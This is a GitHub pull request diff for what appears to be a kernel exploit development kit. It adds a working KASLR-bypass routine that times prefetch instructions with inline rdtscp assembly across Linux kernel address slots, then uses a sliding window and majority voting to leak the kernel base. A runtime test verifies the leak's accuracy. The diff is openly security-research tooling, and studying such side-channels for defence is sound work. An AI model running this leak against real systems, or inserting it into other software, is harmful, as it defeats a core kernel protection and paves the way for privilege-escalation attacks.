Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 26 additions & 1 deletion libxdk/include/xdk/util/pwn_utils.h
Original file line number Diff line number Diff line change
Expand Up @@ -57,4 +57,29 @@ uint64_t check_heap_ptr(uint64_t heap_leak);
* @param cpu The CPU the calling thread should be pinned to.
* @throws errno_error if the operation fails
*/
void pin_cpu(int cpu);
void pin_cpu(int cpu);

/**
* @ingroup util_classes
* @brief Leaks the KASLR base address using a prefetch side-channel.
*
* This function determines the kernel base address by measuring the execution
* time of prefetch instructions across all possible KASLR slots. It uses a
* "Windowed Max Absolute Difference" strategy, which detects the kernel image
* location by sliding a window across the timing data to find the region that
* maximizes the timing difference compared to the median. To ensure
* reliability, it runs multiple independent scans and applies a majority voting
* algorithm.
*
* @param window_size The size of the sliding window used to identify the region
* containing the kernel image. This should match the number of pages the kernel
* occupies in memory.
* @param samples The number of prefetch timing measurements to collect for
* each candidate KASLR slot during a single trial.
* @param trials The number of memory scans to perform. The final result is
* selected via a majority vote across these trials.
* @return The kernel base address.
* @throws ExpKitError if the address could not be leaked reliably.
*/
uint64_t leak_kaslr_base(uint64_t window_size, int samples = 100,
Comment thread
koczkatamas marked this conversation as resolved.
int trials = 7);
2 changes: 2 additions & 0 deletions libxdk/test/main.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,7 @@
#include "test/TestRunner.h"
#include "test/logging/TapLogger.h"
#include "test/tests/TargetDbTests.h"
#include "test/tests/UtilsRuntimeTests.h"
#include "test/tests/UtilsTests.h"
#include "test/tests/XdkDeviceTests.h"
#include "test/tests/RopActionTests.h"
Expand All @@ -41,6 +42,7 @@ class Main {
public:
Main(int argc, const char* argv[]): args_(argc, argv) {
runner_.Add(new TargetDbTests());
runner_.Add(new UtilsRuntimeTests());
runner_.Add(new UtilsTests());
runner_.Add(new XdkDeviceTests());
runner_.Add(new SymbolsTest());
Expand Down
45 changes: 45 additions & 0 deletions libxdk/test/tests/UtilsRuntimeTests.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
/*
* Copyright 2026 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/

#pragma once

#include <sched.h>
#include <xdk/util/pwn_utils.h>

#include "test/TestSuite.h"
#include "test/TestUtils.h"

class UtilsRuntimeTests : public TestSuite {
XdkDevice *xdk_;

public:
UtilsRuntimeTests() : TestSuite("UtilsRuntimeTests", "pwn utils runtime tests") {}

void init() { xdk_ = &env->GetXdkDevice(); }

TEST_METHOD(leaksKaslrBase, "leaks KASLR base") {
uint64_t num_pages = env->GetTarget().GetNumPages();
Comment thread
koczkatamas marked this conversation as resolved.
uint64_t expected = xdk_->KaslrLeak();
int wrong = 0;
for (int i = 0; i < 100; i++) {
uint64_t actual = leak_kaslr_base(num_pages, /* samples = */ 100, /* trials = */ 3);
if (actual != expected) {
wrong++;
}
}
ASSERT_MINMAX(0, 2, wrong);
Comment thread
koczkatamas marked this conversation as resolved.
}
};
2 changes: 1 addition & 1 deletion libxdk/test/tests/UtilsTests.h
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ class UtilsTests: public TestSuite {
TEST_METHOD(pinsToInvalidCpuThrows, "pins to CPU -1 throws") {
try {
pin_cpu(-1);
throw new ExpKitError("pin_cpu(-1) did not throw an exception");
throw ExpKitError("pin_cpu(-1) did not throw an exception");
} catch(const errno_error &e) {
ASSERT_EQ("sched_setaffinity failed: Invalid argument", e.what());
}
Expand Down
171 changes: 171 additions & 0 deletions libxdk/util/pwn_utils.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,12 @@
#include <xdk/util/error.h>
#include <xdk/util/pwn_utils.h>

#include <algorithm>
#include <cassert>
#include <limits>
#include <optional>
#include <vector>

bool is_kaslr_base(uint64_t kbase_addr) {
if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000)
return false;
Expand All @@ -41,4 +47,169 @@ void pin_cpu(int cpu) {
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set))
throw errno_error("sched_setaffinity failed");
}

// The lowest possible base: 0xFFFFFFFF80000000 + CONFIG_PHYSICAL_START
const uint64_t KASLR_START = 0xFFFFFFFF81000000;

// The highest possible base.
const uint64_t KASLR_END = KASLR_START + 0x40000000;

// The KASLR slot size; equal to CONFIG_PHYSICAL_ALIGN
const uint64_t KASLR_SLOT_SIZE = 0x200000;

uint64_t compute_median(std::vector<uint64_t> v) {
assert(!v.empty() && "compute_median received an empty vector");
size_t n = v.size() / 2;
nth_element(v.begin(), v.begin() + n, v.end());
return v[n];
}

uint64_t abs_diff(uint64_t a, uint64_t b) { return (a > b) ? (a - b) : (b - a); }

std::optional<uint64_t> try_find_edge(const std::vector<uint64_t> &timings, uint64_t window_size) {
if (timings.size() < window_size) {
return std::nullopt;
}

// The median timing represents the timing of an unmapped page because there are by
// far more unmapped pages than mapped pages. The window of pages that maximizes the sum of the
// absolute differences between each page's timing and the median timing is the window that
// contains the KASLR base address.
uint64_t median = compute_median(timings);

uint64_t current_sum_diff = 0;
for (size_t k = 0; k < window_size; ++k) {
current_sum_diff += abs_diff(timings[k], median);
}

uint64_t max_sum_diff = current_sum_diff;
std::optional<size_t> best_slot = 0;

for (size_t i = 1; i <= timings.size() - window_size; ++i) {
current_sum_diff -= abs_diff(timings[i - 1], median);
current_sum_diff += abs_diff(timings[i + window_size - 1], median);

if (current_sum_diff > max_sum_diff) {
max_sum_diff = current_sum_diff;
best_slot = i;
}
}

if (best_slot.has_value()) {
return best_slot;
}
return std::nullopt;
}

uint64_t slot_to_addr(size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE); }

inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
uint64_t a, d;
asm volatile("mfence\n\t"
"rdtscp\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
"lfence\n\t"
: "=r"(d), "=r"(a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d << 32) | a;
return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end() {
uint64_t a, d;
asm volatile("xor %%rax, %%rax\n\t"
"lfence\n\t"
"rdtscp\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r"(d), "=r"(a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d << 32) | a;
return a;
}

inline __attribute__((always_inline)) void prefetch(uint64_t addr) {
asm volatile("prefetchnta (%0)\n\t"
"prefetcht2 (%0)\n\t"
:
: "r"(addr));
}

size_t sidechannel(uint64_t addr) {
size_t time = rdtsc_begin();
prefetch(addr);
size_t delta = rdtsc_end() - time;
return delta;
}

std::optional<uint64_t> try_leak_kaslr_base(uint64_t window_size, int samples) {
size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max());

for (int i = 0; i < samples; i++) {
for (size_t slot = 0; slot < slots; slot++) {
uint64_t addr = slot_to_addr(slot);
uint64_t timing = sidechannel(addr);
if (timing < timings[slot]) {
timings[slot] = timing;
}
}
}

std::optional<size_t> slot = try_find_edge(timings, window_size);
if (slot.has_value()) {
return slot_to_addr(*slot);
}
return std::nullopt;
}

std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>> &slots) {
uint64_t candidate = 0;
size_t count = 0;

for (const auto &slot : slots) {
if (count == 0) {
if (slot.has_value()) {
candidate = slot.value();
count = 1;
}
} else {
if (slot.has_value() && slot.value() == candidate) {
count++;
} else {
count--;
}
}
}

size_t actual_count = 0;
for (const auto &slot : slots) {
if (slot.has_value() && slot.value() == candidate) {
actual_count++;
}
}

if (actual_count > slots.size() / 2) {
return candidate;
}
return std::nullopt;
}

uint64_t leak_kaslr_base(uint64_t window_size, int samples, int trials) {
std::vector<std::optional<uint64_t>> candidates;
for (int i = 0; i < trials; i++) {
candidates.push_back(try_leak_kaslr_base(window_size, samples));
}

std::optional<uint64_t> base = find_majority(candidates);
if (!base.has_value()) {
throw ExpKitError("Failed to leak KASLR base");
}
return *base;
}
Loading